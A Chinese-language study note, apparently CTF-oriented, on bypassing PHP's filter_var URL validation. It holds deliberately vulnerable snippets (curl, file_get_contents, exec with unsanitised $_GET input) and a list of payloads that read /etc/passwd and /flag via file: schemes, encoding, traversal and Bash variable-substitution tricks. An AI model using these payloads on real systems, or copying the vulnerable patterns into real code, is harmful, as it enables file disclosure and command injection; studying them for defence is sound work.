·以下 3 种主要方式在 PHP 中检索 URL

curl library (CURL库)

用于发起网络请求(HTTP、HTTPS、FTP 等)

可以设置 复杂请求头 GET/POST/PUT

可以支持复杂协议 HTTP/HTTPS/FTP/SMTP

file_get_contents (函数)

支持 http://https:// 等 URL(前提是 PHP allow_url_fopen = On

支持读取敏感本地文件 file_get_contents("file:///etc/passwd");

exec()

exec("ping " . $_GET['ip']);

·容易受攻击的代码

situation-1-filter_var()

filter_var()

PHP 提供的一个函数,用来过滤和验证变量。

filter_var($value, $filter, $options);

FILTER_VALIDATE_URL

PHP 预定义的过滤器之一

用法:filter_var(‘http://example.com‘, FILTER_VALIDATE_URL);

作用:用来检查字符串是否是一个合法的 URL

FILTER_FLAG_QUERY_REQUIRED

·类型:PHP 内置过滤器的 标志(flag)

·用途:与 FILTER_VALIDATE_URL 搭配使用,要求 URL 必须包含查询字符串

1
2
3
4
5
6
7
$url = "http://example.com";
$result = filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED);
var_dump($result); // false,因为没有查询字符串

$url = "http://example.com/?id=1";
$result = filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED);
var_dump($result); // string(26) "http://example.com/?id=1"

攻击面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function curl($url) {
$optArray = array(
CURLOPT_URL => $url,
CURLOPT_FOLLOWLOCATION => 1
);
$ch = curl_init();
curl_setopt_array($ch, $optArray);
$response = curl_exec($ch) or die("Error!");
curl_close($ch);

return $response;
}
$content = curl(filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));
echo $content;

攻击方法:

file:/etc/passwd?/

file:/etc%252Fpasswd?/

读取/flagfile:/flag?

image-20250805011756750

image-20250805011914356

situation-2- file_get_contents()

1
2
3
<?php
$f = filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED) or die("Error!");
echo file_get_contents($f);

POC:

file:///etc/?/../passwd

解释:将其用作目录/文件夹名称时,“?” 的使用使其通过验证。然后,我们需要使用“/../”技巧来返回到“/etc/”。

读取/flag file:///etc/?/../../flag

image-20250805012336104

situation-3

1
2
3
4
<?php
$url = filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED);
exec('curl -L ' . $url, $content) or die("Error!");
print_r($content);

POC:

file:/etc/passwd?/

file:${br}/et${u}c/pas${te}swd?/

读取/flag也是一样的: file:/flag?/ file:${br}/fl${te}ag?/

1
2
解释:
因为"${x}"(其中"x"可以是任何常规字符或字符串)在 Bash 中用于替换变量,该变量必须不存在,否则会在执行的命令中被丢弃。"$(x)"也可以使用。

e053e58c-5794-424e-a178-721add5e5414

汇总poc

1
2
3
4
5
6
7
8
9
10
11
12
13
file:/etc/passwd?/
file:/etc/passwd%3F/
file:/etc%252Fpasswd/
file:/etc%252Fpasswd%3F/
file:///etc/?/../passwd
file:///etc/%3F/../passwd
file:${br}/et${u}c/pas${te}swd?/
file:$(br)/et$(u)c/pas$(te)swd?/
file:${br}/et${u}c%252Fpas${te}swd?/
file:$(br)/et$(u)c%252Fpas$(te)swd?/
file:${br}/et${u}c%252Fpas${te}swd%3F/
file:$(br)/et$(u)c%252Fpas$(te)swd%3F/
file:///etc/passwd?/../passwd